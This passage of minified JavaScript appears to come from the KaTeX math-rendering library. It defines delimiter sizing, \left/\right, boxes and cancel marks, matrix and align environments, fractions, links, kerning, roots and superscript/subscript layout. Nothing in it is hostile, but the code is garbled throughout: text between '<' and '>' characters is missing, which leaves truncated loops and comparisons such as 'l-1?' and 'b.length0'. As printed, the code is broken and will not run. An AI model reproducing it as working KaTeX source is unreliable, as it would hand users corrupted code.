kr(e,h,!0,n,a,i)},Br={"\\bigl":{mclass:"mopen",size:1},"\\Bigl":{mclass:"mopen",size:2},"\\biggl":{mclass:"mopen",size:3},"\\Biggl":{mclass:"mopen",size:4},"\\bigr":{mclass:"mclose",size:1},"\\Bigr":{mclass:"mclose",size:2},"\\biggr":{mclass:"mclose",size:3},"\\Biggr":{mclass:"mclose",size:4},"\\bigm":{mclass:"mrel",size:1},"\\Bigm":{mclass:"mrel",size:2},"\\biggm":{mclass:"mrel",size:3},"\\Biggm":{mclass:"mrel",size:4},"\\big":{mclass:"mord",size:1},"\\Big":{mclass:"mord",size:2},"\\bigg":{mclass:"mord",size:3},"\\Bigg":{mclass:"mord",size:4}},Nr=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230a","\u230b","\\lceil","\\rceil","\u2308","\u2309","<",">","\\langle","\u27e8","\\rangle","\u27e9","\\lt","\\gt","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27ee","\u27ef","\\lmoustache","\\rmoustache","\u23b0","\u23b1","/","\\backslash","|","\\vert","\\|","\\Vert","\\uparrow","\\Uparrow","\\downarrow","\\Downarrow","\\updownarrow","\\Updownarrow","."];function qr(e,t){var r=Gt(e);if(r&&l.contains(Nr,r.text))return r;throw new n(r?"Invalid delimiter '"+r.text+"' after '"+t.funcName+"'":"Invalid delimiter type '"+e.type+"'",e)}function Cr(e){if(!e.body)throw new Error("Bug: The leftright ParseNode wasn't fully parsed.")}nt({type:"delimsizing",names:["\\bigl","\\Bigl","\\biggl","\\Biggl","\\bigr","\\Bigr","\\biggr","\\Biggr","\\bigm","\\Bigm","\\biggm","\\Biggm","\\big","\\Big","\\bigg","\\Bigg"],props:{numArgs:1,argTypes:["primitive"]},handler:function(e,t){var r=qr(t[0],e);return{type:"delimsizing",mode:e.parser.mode,size:Br[e.funcName].size,mclass:Br[e.funcName].mclass,delim:r.text}},htmlBuilder:function(e,t){return"."===e.delim?je.makeSpan([e.mclass]):Mr(e.delim,e.size,t,e.mode,[e.mclass])},mathmlBuilder:function(e){var t=[];"."!==e.delim&&t.push(zt(e.delim,e.mode));var r=new Mt.MathNode("mo",t);return"mopen"===e.mclass||"mclose"===e.mclass?r.setAttribute("fence","true"):r.setAttribute("fence","false"),r.setAttribute("stretchy","true"),r.setAttribute("minsize",zr[e.size]+"em"),r.setAttribute("maxsize",zr[e.size]+"em"),r}}),nt({type:"leftright-right",names:["\\right"],props:{numArgs:1,primitive:!0},handler:function(e,t){var r=e.parser.gullet.macros.get("\\current@color");if(r&&"string"!=typeof r)throw new n("\\current@color set to non-string in \\right");return{type:"leftright-right",mode:e.parser.mode,delim:qr(t[0],e).text,color:r}}}),nt({type:"leftright",names:["\\left"],props:{numArgs:1,primitive:!0},handler:function(e,t){var r=qr(t[0],e),n=e.parser;++n.leftrightDepth;var a=n.parseExpression(!1);--n.leftrightDepth,n.expect("\\right",!1);var i=Ft(n.parseFunction(),"leftright-right");return{type:"leftright",mode:n.mode,body:a,left:r.text,right:i.delim,rightColor:i.color}},htmlBuilder:function(e,t){Cr(e);for(var r,n,a=ut(e.body,t,!0,["mopen","mclose"]),i=0,o=0,s=!1,l=0;l-1?"mpadded":"menclose",[qt(e.body,t)]);switch(e.label){case"\\cancel":n.setAttribute("notation","updiagonalstrike");break;case"\\bcancel":n.setAttribute("notation","downdiagonalstrike");break;case"\\phase":n.setAttribute("notation","phasorangle");break;case"\\sout":n.setAttribute("notation","horizontalstrike");break;case"\\fbox":n.setAttribute("notation","box");break;case"\\angl":n.setAttribute("notation","actuarial");break;case"\\fcolorbox":case"\\colorbox":if(r=t.fontMetrics().fboxsep*t.fontMetrics().ptPerEm,n.setAttribute("width","+"+2*r+"pt"),n.setAttribute("height","+"+2*r+"pt"),n.setAttribute("lspace",r+"pt"),n.setAttribute("voffset",r+"pt"),"\\fcolorbox"===e.label){var a=Math.max(t.fontMetrics().fboxrule,t.minRuleThickness);n.setAttribute("style","border: "+a+"em solid "+String(e.borderColor))}break;case"\\xcancel":n.setAttribute("notation","updiagonalstrike downdiagonalstrike")}return e.backgroundColor&&n.setAttribute("mathbackground",e.backgroundColor),n};nt({type:"enclose",names:["\\colorbox"],props:{numArgs:2,allowedInText:!0,argTypes:["color","text"]},handler:function(e,t,r){var n=e.parser,a=e.funcName,i=Ft(t[0],"color-token").color,o=t[1];return{type:"enclose",mode:n.mode,label:a,backgroundColor:i,body:o}},htmlBuilder:Ir,mathmlBuilder:Rr}),nt({type:"enclose",names:["\\fcolorbox"],props:{numArgs:3,allowedInText:!0,argTypes:["color","color","text"]},handler:function(e,t,r){var n=e.parser,a=e.funcName,i=Ft(t[0],"color-token").color,o=Ft(t[1],"color-token").color,s=t[2];return{type:"enclose",mode:n.mode,label:a,backgroundColor:o,borderColor:i,body:s}},htmlBuilder:Ir,mathmlBuilder:Rr}),nt({type:"enclose",names:["\\fbox"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!0},handler:function(e,t){return{type:"enclose",mode:e.parser.mode,label:"\\fbox",body:t[0]}}}),nt({type:"enclose",names:["\\cancel","\\bcancel","\\xcancel","\\sout","\\phase"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"enclose",mode:r.mode,label:n,body:a}},htmlBuilder:Ir,mathmlBuilder:Rr}),nt({type:"enclose",names:["\\angl"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!1},handler:function(e,t){return{type:"enclose",mode:e.parser.mode,label:"\\angl",body:t[0]}}});var Or={};function Er(e){for(var t=e.type,r=e.names,n=e.props,a=e.handler,i=e.htmlBuilder,o=e.mathmlBuilder,s={type:t,numArgs:n.numArgs||0,allowedInText:!1,numOptionalArgs:0,handler:a},l=0;l1||!c)&&g.pop(),b.length0&&(x+=.25),m.push({pos:x,isDashed:e[t]})}for(w(o[0]),r=0;r0&&(M<(B+=y)&&(M=B),B=0),e.addJot&&(M+=f),z.height=S,z.depth=M,x+=S,z.pos=x,x+=M+B,h[r]=z,w(o[r+1])}var N,q,C=x/2+t.fontMetrics().axisHeight,I=e.cols||[],R=[],O=[];if(e.addEqnNum)for(r=0;r=s)){var G=void 0;(a>0||e.hskipBeforeAndAfter)&&0!==(G=l.deflt(D.pregap,p))&&((N=je.makeSpan(["arraycolsep"],[])).style.width=G+"em",R.push(N));var U=[];for(r=0;r0){for(var _=je.makeLineSpan("hline",t,c),j=je.makeLineSpan("hdashline",t,c),$=[{type:"elem",elem:h,shift:0}];m.length>0;){var Z=m.pop(),K=Z.pos-C;Z.isDashed?$.push({type:"elem",elem:j,shift:K}):$.push({type:"elem",elem:_,shift:K})}h=je.makeVList({positionType:"individualShift",children:$},t)}if(e.addEqnNum){var J=je.makeVList({positionType:"individualShift",children:O},t);return J=je.makeSpan(["tag"],[J],t),je.makeFragment([h,J])}return je.makeSpan(["mord"],[h],t)},Vr={c:"center ",l:"left ",r:"right "},Gr=function(e,t){for(var r=[],n=new Mt.MathNode("mtd",[],["mtr-glue"]),a=new Mt.MathNode("mtd",[],["mml-eqn-num"]),i=0;i0){var p=e.cols,d="",f=!1,g=0,v=p.length;"separator"===p[0].type&&(c+="top ",g=1),"separator"===p[p.length-1].type&&(c+="bottom ",v-=1);for(var b=g;b0?"left ":"",c+=S[S.length-1].length>0?"right ":"";for(var M=1;M-1?"alignat":"align",o=Dr(e.parser,{cols:a,addJot:!0,addEqnNum:"align"===e.envName||"alignat"===e.envName,emptySingleRow:!0,colSeparationType:i,maxNumCols:"split"===e.envName?2:void 0,leqno:e.parser.settings.leqno},"display"),s=0,l={type:"ordgroup",mode:e.mode,body:[]};if(t[0]&&"ordgroup"===t[0].type){for(var h="",m=0;m0&&c&&(d=1),a[u]={type:"align",align:p,pregap:d,postgap:0}}return o.colSeparationType=c?"align":"alignat",o};Er({type:"array",names:["array","darray"],props:{numArgs:1},handler:function(e,t){var r=(Gt(t[0])?[t[0]]:Ft(t[0],"ordgroup").body).map((function(e){var t=Vt(e).text;if(-1!=="lcr".indexOf(t))return{type:"align",align:t};if("|"===t)return{type:"separator",separator:"|"};if(":"===t)return{type:"separator",separator:":"};throw new n("Unknown column alignment: "+t,e)})),a={cols:r,hskipBeforeAndAfter:!0,maxNumCols:r.length};return Dr(e.parser,a,Pr(e.envName))},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["matrix","pmatrix","bmatrix","Bmatrix","vmatrix","Vmatrix","matrix*","pmatrix*","bmatrix*","Bmatrix*","vmatrix*","Vmatrix*"],props:{numArgs:0},handler:function(e){var t={matrix:null,pmatrix:["(",")"],bmatrix:["[","]"],Bmatrix:["\\{","\\}"],vmatrix:["|","|"],Vmatrix:["\\Vert","\\Vert"]}[e.envName.replace("*","")],r="c",a={hskipBeforeAndAfter:!1,cols:[{type:"align",align:r}]};if("*"===e.envName.charAt(e.envName.length-1)){var i=e.parser;if(i.consumeSpaces(),"["===i.fetch().text){if(i.consume(),i.consumeSpaces(),r=i.fetch().text,-1==="lcr".indexOf(r))throw new n("Expected l or c or r",i.nextToken);i.consume(),i.consumeSpaces(),i.expect("]"),i.consume(),a.cols=[{type:"align",align:r}]}}var o=Dr(e.parser,a,Pr(e.envName)),s=Math.max.apply(Math,[0].concat(o.body.map((function(e){return e.length}))));return o.cols=new Array(s).fill({type:"align",align:r}),t?{type:"leftright",mode:e.mode,body:[o],left:t[0],right:t[1],rightColor:void 0}:o},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["smallmatrix"],props:{numArgs:0},handler:function(e){var t=Dr(e.parser,{arraystretch:.5},"script");return t.colSeparationType="small",t},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["subarray"],props:{numArgs:1},handler:function(e,t){var r=(Gt(t[0])?[t[0]]:Ft(t[0],"ordgroup").body).map((function(e){var t=Vt(e).text;if(-1!=="lc".indexOf(t))return{type:"align",align:t};throw new n("Unknown column alignment: "+t,e)}));if(r.length>1)throw new n("{subarray} can contain only one column");var a={cols:r,hskipBeforeAndAfter:!1,arraystretch:.5};if((a=Dr(e.parser,a,"script")).body.length>0&&a.body[0].length>1)throw new n("{subarray} can contain only one column");return a},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["cases","dcases","rcases","drcases"],props:{numArgs:0},handler:function(e){var t=Dr(e.parser,{arraystretch:1.2,cols:[{type:"align",align:"l",pregap:0,postgap:1},{type:"align",align:"l",pregap:0,postgap:0}]},Pr(e.envName));return{type:"leftright",mode:e.mode,body:[t],left:e.envName.indexOf("r")>-1?".":"\\{",right:e.envName.indexOf("r")>-1?"\\}":".",rightColor:void 0}},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["align","align*","aligned","split"],props:{numArgs:0},handler:Ur,htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["gathered","gather","gather*"],props:{numArgs:0},handler:function(e){l.contains(["gather","gather*"],e.envName)&&Lr(e);var t={cols:[{type:"align",align:"c"}],addJot:!0,colSeparationType:"gather",addEqnNum:"gather"===e.envName,emptySingleRow:!0,leqno:e.parser.settings.leqno};return Dr(e.parser,t,"display")},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["alignat","alignat*","alignedat"],props:{numArgs:1},handler:Ur,htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["equation","equation*"],props:{numArgs:0},handler:function(e){Lr(e);var t={addEqnNum:"equation"===e.envName,emptySingleRow:!0,singleRow:!0,maxNumCols:1,leqno:e.parser.settings.leqno};return Dr(e.parser,t,"display")},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["CD"],props:{numArgs:0},handler:function(e){return Lr(e),function(e){var t=[];for(e.gullet.beginGroup(),e.gullet.macros.set("\\cr","\\\\\\relax"),e.gullet.beginGroup();;){t.push(e.parseExpression(!1,"\\\\")),e.gullet.endGroup(),e.gullet.beginGroup();var r=e.fetch().text;if("&"!==r&&"\\\\"!==r){if("\\end"===r){0===t[t.length-1].length&&t.pop();break}throw new n("Expected \\\\ or \\cr or \\end",e.nextToken)}e.consume()}for(var a,i,o=[],s=[o],l=0;l-1);else{if(!("<>AV".indexOf(u)>-1))throw new n('Expected one of "<>AV=|." after @',h[c]);for(var d=0;d<2;d++){for(var f=!0,g=c+1;g=b.SCRIPT.id?r.text():b.DISPLAY:"text"===e&&r.size===b.DISPLAY.size?r=b.TEXT:"script"===e?r=b.SCRIPT:"scriptscript"===e&&(r=b.SCRIPTSCRIPT),r},Qr=function(e,t){var r,n=Jr(e.size,t.style),a=n.fracNum(),i=n.fracDen();r=t.havingStyle(a);var o=bt(e.numer,r,t);if(e.continued){var s=8.5/t.fontMetrics().ptPerEm,l=3.5/t.fontMetrics().ptPerEm;o.height=o.height0?3*c:7*c,d=t.fontMetrics().denom1):(m>0?(u=t.fontMetrics().num2,p=c):(u=t.fontMetrics().num3,p=3*c),d=t.fontMetrics().denom2),h){var w=t.fontMetrics().axisHeight;u-o.depth-(w+.5*m)0&&(t="."===(t=e)?null:t),t};nt({type:"genfrac",names:["\\genfrac"],props:{numArgs:6,allowedInArgument:!0,argTypes:["math","math","size","text","math","math"]},handler:function(e,t){var r,n=e.parser,a=t[4],i=t[5],o=it(t[0]),s="atom"===o.type&&"open"===o.family?rn(o.text):null,l=it(t[1]),h="atom"===l.type&&"close"===l.family?rn(l.text):null,m=Ft(t[2],"size"),c=null;r=!!m.isBlank||(c=m.value).number>0;var u="auto",p=t[3];if("ordgroup"===p.type){if(p.body.length>0){var d=Ft(p.body[0],"textord");u=tn[Number(d.text)]}}else p=Ft(p,"textord"),u=tn[Number(p.text)];return{type:"genfrac",mode:n.mode,numer:a,denom:i,continued:!1,hasBarLine:r,barSize:c,leftDelim:s,rightDelim:h,size:u}},htmlBuilder:Qr,mathmlBuilder:en}),nt({type:"infix",names:["\\above"],props:{numArgs:1,argTypes:["size"],infix:!0},handler:function(e,t){var r=e.parser,n=(e.funcName,e.token);return{type:"infix",mode:r.mode,replaceWith:"\\\\abovefrac",size:Ft(t[0],"size").value,token:n}}}),nt({type:"genfrac",names:["\\\\abovefrac"],props:{numArgs:3,argTypes:["math","size","math"]},handler:function(e,t){var r=e.parser,n=(e.funcName,t[0]),a=function(e){if(!e)throw new Error("Expected non-null, but got "+String(e));return e}(Ft(t[1],"infix").size),i=t[2],o=a.number>0;return{type:"genfrac",mode:r.mode,numer:n,denom:i,continued:!1,hasBarLine:o,barSize:a,leftDelim:null,rightDelim:null,size:"auto"}},htmlBuilder:Qr,mathmlBuilder:en});var nn=function(e,t){var r,n,a=t.style;"supsub"===e.type?(r=e.sup?bt(e.sup,t.havingStyle(a.sup()),t):bt(e.sub,t.havingStyle(a.sub()),t),n=Ft(e.base,"horizBrace")):n=Ft(e,"horizBrace");var i,o=bt(n.base,t.havingBaseStyle(b.DISPLAY)),s=Pt(n,t);if(n.isOver?(i=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:o},{type:"kern",size:.1},{type:"elem",elem:s}]},t)).children[0].children[0].children[1].classes.push("svg-align"):(i=je.makeVList({positionType:"bottom",positionData:o.depth+.1+s.height,children:[{type:"elem",elem:s},{type:"kern",size:.1},{type:"elem",elem:o}]},t)).children[0].children[0].children[0].classes.push("svg-align"),r){var l=je.makeSpan(["mord",n.isOver?"mover":"munder"],[i],t);i=n.isOver?je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:l},{type:"kern",size:.2},{type:"elem",elem:r}]},t):je.makeVList({positionType:"bottom",positionData:l.depth+.2+r.height+r.depth,children:[{type:"elem",elem:r},{type:"kern",size:.2},{type:"elem",elem:l}]},t)}return je.makeSpan(["mord",n.isOver?"mover":"munder"],[i],t)};nt({type:"horizBrace",names:["\\overbrace","\\underbrace"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName;return{type:"horizBrace",mode:r.mode,label:n,isOver:/^\\over/.test(n),base:t[0]}},htmlBuilder:nn,mathmlBuilder:function(e,t){var r=Dt(e.label);return new Mt.MathNode(e.isOver?"mover":"munder",[qt(e.base,t),r])}}),nt({type:"href",names:["\\href"],props:{numArgs:2,argTypes:["url","original"],allowedInText:!0},handler:function(e,t){var r=e.parser,n=t[1],a=Ft(t[0],"url").url;return r.settings.isTrusted({command:"\\href",url:a})?{type:"href",mode:r.mode,href:a,body:ot(n)}:r.formatUnsupportedCmd("\\href")},htmlBuilder:function(e,t){var r=ut(e.body,t,!1);return je.makeAnchor(e.href,[],r,t)},mathmlBuilder:function(e,t){var r=Nt(e.body,t);return r instanceof kt||(r=new kt("mrow",[r])),r.setAttribute("href",e.href),r}}),nt({type:"href",names:["\\url"],props:{numArgs:1,argTypes:["url"],allowedInText:!0},handler:function(e,t){var r=e.parser,n=Ft(t[0],"url").url;if(!r.settings.isTrusted({command:"\\url",url:n}))return r.formatUnsupportedCmd("\\url");for(var a=[],i=0;i0&&(n=Le(e.totalheight,t)-r,n=Number(n.toFixed(2)));var a=0;e.width.number>0&&(a=Le(e.width,t));var i={height:r+n+"em"};a>0&&(i.width=a+"em"),n>0&&(i.verticalAlign=-n+"em");var o=new C(e.src,e.alt,i);return o.height=r,o.depth=n,o},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mglyph",[]);r.setAttribute("alt",e.alt);var n=Le(e.height,t),a=0;if(e.totalheight.number>0&&(a=(a=Le(e.totalheight,t)-n).toFixed(2),r.setAttribute("valign","-"+a+"em")),r.setAttribute("height",n+a+"em"),e.width.number>0){var i=Le(e.width,t);r.setAttribute("width",i+"em")}return r.setAttribute("src",e.src),r}}),nt({type:"kern",names:["\\kern","\\mkern","\\hskip","\\mskip"],props:{numArgs:1,argTypes:["size"],primitive:!0,allowedInText:!0},handler:function(e,t){var r=e.parser,n=e.funcName,a=Ft(t[0],"size");if(r.settings.strict){var i="m"===n[1],o="mu"===a.value.unit;i?(o||r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" supports only mu units, not "+a.value.unit+" units"),"math"!==r.mode&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" works only in math mode")):o&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" doesn't support mu units")}return{type:"kern",mode:r.mode,dimension:a.value}},htmlBuilder:function(e,t){return je.makeGlue(e.dimension,t)},mathmlBuilder:function(e,t){var r=Le(e.dimension,t);return new Mt.SpaceNode(r)}}),nt({type:"lap",names:["\\mathllap","\\mathrlap","\\mathclap"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"lap",mode:r.mode,alignment:n.slice(5),body:a}},htmlBuilder:function(e,t){var r;"clap"===e.alignment?(r=je.makeSpan([],[bt(e.body,t)]),r=je.makeSpan(["inner"],[r],t)):r=je.makeSpan(["inner"],[bt(e.body,t)]);var n=je.makeSpan(["fix"],[]),a=je.makeSpan([e.alignment],[r,n],t),i=je.makeSpan(["strut"]);return i.style.height=a.height+a.depth+"em",i.style.verticalAlign=-a.depth+"em",a.children.unshift(i),a=je.makeSpan(["thinbox"],[a],t),je.makeSpan(["mord","vbox"],[a],t)},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mpadded",[qt(e.body,t)]);if("rlap"!==e.alignment){var n="llap"===e.alignment?"-1":"-0.5";r.setAttribute("lspace",n+"width")}return r.setAttribute("width","0px"),r}}),nt({type:"styling",names:["\\(","$"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler:function(e,t){var r=e.funcName,n=e.parser,a=n.mode;n.switchMode("math");var i="\\("===r?"\\)":"$",o=n.parseExpression(!1,i);return n.expect(i),n.switchMode(a),{type:"styling",mode:n.mode,style:"text",body:o}}}),nt({type:"text",names:["\\)","\\]"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler:function(e,t){throw new n("Mismatched "+e.funcName)}});var on=function(e,t){switch(t.style.size){case b.DISPLAY.size:return e.display;case b.TEXT.size:return e.text;case b.SCRIPT.size:return e.script;case b.SCRIPTSCRIPT.size:return e.scriptscript;default:return e.text}};nt({type:"mathchoice",names:["\\mathchoice"],props:{numArgs:4,primitive:!0},handler:function(e,t){return{type:"mathchoice",mode:e.parser.mode,display:ot(t[0]),text:ot(t[1]),script:ot(t[2]),scriptscript:ot(t[3])}},htmlBuilder:function(e,t){var r=on(e,t),n=ut(r,t,!1);return je.makeFragment(n)},mathmlBuilder:function(e,t){var r=on(e,t);return Nt(r,t)}});var sn=function(e,t,r,n,a,i,o){e=je.makeSpan([],[e]);var s,h,m,c=r&&l.isCharacterBox(r);if(t){var u=bt(t,n.havingStyle(a.sup()),n);h={elem:u,kern:Math.max(n.fontMetrics().bigOpSpacing1,n.fontMetrics().bigOpSpacing3-u.depth)}}if(r){var p=bt(r,n.havingStyle(a.sub()),n);s={elem:p,kern:Math.max(n.fontMetrics().bigOpSpacing2,n.fontMetrics().bigOpSpacing4-p.height)}}if(h&&s){var d=n.fontMetrics().bigOpSpacing5+s.elem.height+s.elem.depth+s.kern+e.depth+o;m=je.makeVList({positionType:"bottom",positionData:d,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:s.elem,marginLeft:-i+"em"},{type:"kern",size:s.kern},{type:"elem",elem:e},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:i+"em"},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else if(s){var f=e.height-o;m=je.makeVList({positionType:"top",positionData:f,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:s.elem,marginLeft:-i+"em"},{type:"kern",size:s.kern},{type:"elem",elem:e}]},n)}else{if(!h)return e;var g=e.depth+o;m=je.makeVList({positionType:"bottom",positionData:g,children:[{type:"elem",elem:e},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:i+"em"},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}var v=[m];if(s&&0!==i&&!c){var b=je.makeSpan(["mspace"],[],n);b.style.marginRight=i+"em",v.unshift(b)}return je.makeSpan(["mop","op-limits"],v,n)},ln=["\\smallint"],hn=function(e,t){var r,n,a,i=!1;"supsub"===e.type?(r=e.sup,n=e.sub,a=Ft(e.base,"op"),i=!0):a=Ft(e,"op");var o,s=t.style,h=!1;if(s.size===b.DISPLAY.size&&a.symbol&&!l.contains(ln,a.name)&&(h=!0),a.symbol){var m=h?"Size2-Regular":"Size1-Regular",c="";if("\\oiint"!==a.name&&"\\oiiint"!==a.name||(c=a.name.substr(1),a.name="oiint"===c?"\\iint":"\\iiint"),o=je.makeSymbol(a.name,m,"math",t,["mop","op-symbol",h?"large-op":"small-op"]),c.length>0){var u=o.italic,p=je.staticSvg(c+"Size"+(h?"2":"1"),t);o=je.makeVList({positionType:"individualShift",children:[{type:"elem",elem:o,shift:0},{type:"elem",elem:p,shift:h?.08:0}]},t),a.name="\\"+c,o.classes.unshift("mop"),o.italic=u}}else if(a.body){var d=ut(a.body,t,!0);1===d.length&&d[0]instanceof R?(o=d[0]).classes[0]="mop":o=je.makeSpan(["mop"],d,t)}else{for(var f=[],g=1;g0){for(var s=a.body.map((function(e){var t=e.text;return"string"==typeof t?{type:"textord",mode:e.mode,text:t}:e})),l=ut(s,t.withFont("mathrm"),!0),h=0;h=0?s.setAttribute("height","+"+a+"em"):(s.setAttribute("height",a+"em"),s.setAttribute("depth","+"+-a+"em")),s.setAttribute("voffset",a+"em"),s}});var vn=["\\tiny","\\sixptsize","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"];nt({type:"sizing",names:vn,props:{numArgs:0,allowedInText:!0},handler:function(e,t){var r=e.breakOnTokenText,n=e.funcName,a=e.parser,i=a.parseExpression(!1,r);return{type:"sizing",mode:a.mode,size:vn.indexOf(n)+1,body:i}},htmlBuilder:function(e,t){var r=t.havingSize(e.size);return gn(e.body,r,t)},mathmlBuilder:function(e,t){var r=t.havingSize(e.size),n=Bt(e.body,r),a=new Mt.MathNode("mstyle",n);return a.setAttribute("mathsize",r.sizeMultiplier+"em"),a}}),nt({type:"smash",names:["\\smash"],props:{numArgs:1,numOptionalArgs:1,allowedInText:!0},handler:function(e,t,r){var n=e.parser,a=!1,i=!1,o=r[0]&&Ft(r[0],"ordgroup");if(o)for(var s="",l=0;lr.height+r.depth+i&&(i=(i+c-r.height-r.depth)/2);var u=l.height-r.height-i-h;r.style.paddingLeft=m+"em";var p=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r,wrapperClasses:["svg-align"]},{type:"kern",size:-(r.height+u)},{type:"elem",elem:l},{type:"kern",size:h}]},t);if(e.index){var d=t.havingStyle(b.SCRIPTSCRIPT),f=bt(e.index,d,t),g=.6*(p.height-p.depth),v=je.makeVList({positionType:"shift",positionData:-g,children:[{type:"elem",elem:f}]},t),y=je.makeSpan(["root"],[v]);return je.makeSpan(["mord","sqrt"],[y,p],t)}return je.makeSpan(["mord","sqrt"],[p],t)},mathmlBuilder:function(e,t){var r=e.body,n=e.index;return n?new Mt.MathNode("mroot",[qt(r,t),qt(n,t)]):new Mt.MathNode("msqrt",[qt(r,t)])}});var bn={display:b.DISPLAY,text:b.TEXT,script:b.SCRIPT,scriptscript:b.SCRIPTSCRIPT};nt({type:"styling",names:["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e,t){var r=e.breakOnTokenText,n=e.funcName,a=e.parser,i=a.parseExpression(!0,r),o=n.slice(1,n.length-5);return{type:"styling",mode:a.mode,style:o,body:i}},htmlBuilder:function(e,t){var r=bn[e.style],n=t.havingStyle(r).withFont("");return gn(e.body,n,t)},mathmlBuilder:function(e,t){var r=bn[e.style],n=t.havingStyle(r),a=Bt(e.body,n),i=new Mt.MathNode("mstyle",a),o={display:["0","true"],text:["0","false"],script:["1","false"],scriptscript:["2","false"]}[e.style];return i.setAttribute("scriptlevel",o[0]),i.setAttribute("displaystyle",o[1]),i}});var yn=function(e,t){var r=e.base;return r?"op"===r.type?r.limits&&(t.style.size===b.DISPLAY.size||r.alwaysHandleSupSub)?hn:null:"operatorname"===r.type?r.alwaysHandleSupSub&&(t.style.size===b.DISPLAY.size||r.limits)?fn:null:"accent"===r.type?l.isCharacterBox(r.base)?Ut:null:"horizBrace"===r.type&&!e.sub===r.isOver?nn:null:null};at({type:"supsub",htmlBuilder:function(e,t){var r=yn(e,t);if(r)return r(e,t);var n,a,i,o=e.base,s=e.sup,h=e.sub,m=bt(o,t),c=t.fontMetrics(),u=0,p=0,d=o&&l.isCharacterBox(o);if(s){var f=t.havingStyle(t.style.sup());n=bt(s,f,t),d||(u=m.height-f.fontMetrics().supDrop*f.sizeMultiplier/t.sizeMultiplier)}if(h){var g=t.havingStyle(t.style.sub());a=bt(h,g,t),d||(p=m.depth+g.fontMetrics().subDrop*g.sizeMultiplier/t.sizeMultiplier)}i=t.style===b.DISPLAY?c.sup1:t.style.cramped?c.sup3:c.sup2;var v,y=t.sizeMultiplier,x=.5/c.ptPerEm/y+"em",w=null;if(a){var k=e.base&&"op"===e.base.type&&e.base.name&&("\\oiint"===e.base.name||"\\oiiint"===e.base.name);(m instanceof R||k)&&(w=-m.italic+"em")}if(n&&a){u=Math.max(u,i,n.depth+.25*c.xHeight),p=Math.max(p,c.sub2);var S=4*c.defaultRuleThickness;if(u-n.depth-(a.height-p)0&&(u+=M,p-=M)}var z=[{type:"elem",elem:a,shift:p,marginRight:x,marginLeft:w},{type:"elem",elem:n,shift:-u,marginRight:x}];v=je.makeVList({positionType:"individualShift",children:z},t)}else if(a){p=Math.max(p,c.sub1,a.height-.8*c.xHeight);var A=[{type:"elem",elem:a,marginLeft:w,marginRight:x}];v=je.makeVList({positionType:"shift",positionData:p,children:A},t)}else{if(!n)throw new Error("supsub must have either sup or sub.");u=Math.max(u,i,n.depth+.25*c.xHeight),v=je.makeVList({positionType:"shift",positionData:-u,children:[{type:"elem",elem:n,marginRight:x}]},t)}var T=gt(m,"right")||"mord";return je.makeSpan([T],[m,je.makeSpan(["msupsub"],[v])],t)},mathmlBuilder:function(e,t){var r,n=!1;e.base&&"horizBrace"===e.base.type&&!!e.sup===e.base.isOver&&(n=!0,r=e.base.isOver),!e.base||"op"!==e.base.type&&"operatorname"!==e.base.type||(e.base.parentIsSupSub=!0);var a,i=[qt(e.base,t)];if(e.sub&&i.push(qt(e.sub,t)),e.sup&&i.push(qt(e.sup,t)),n)a=r?"mover":"munder";else if(e.sub)if(e.sup){var o=e.base;a=o&&"op"===o.type&&o.limits&&t.style===b.DISPLAY||o&&"operatorname"===o.type&&o.alwaysHandleSupSub&&(t.style===b.DISPLAY||o.limits)?"munderover":"msubsup"}else{var s=e.base;a=s&&"op"===s.type&&s.limits&&(t.style===b.DISPLAY||s.alwaysHandleSupSub)||s&&"operatorname"===s.type&&s.alwaysHandleSupSub&&(s.limits||t.style===b.DISPLAY)?"munder":"msub"}else{var l=e.base;a=l&&"op"===l.type&&l.limits&&(t.style===b.DISPLAY||l.alwaysHandleSupSub)||l&&"operatorname"===l.type&&l.alwaysHandleSupSub&&(l.limits||t.style===b.DISPLAY)?"mover":"msup"}return new Mt.MathNode(a,i)}}),at({type:"atom",htmlBuilder:function(e,t){return je.mathsym(e.text,e.mode,t,["m"+e.family])},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mo",[zt(e.text,e.mode)]);if("bin"===e.family){var 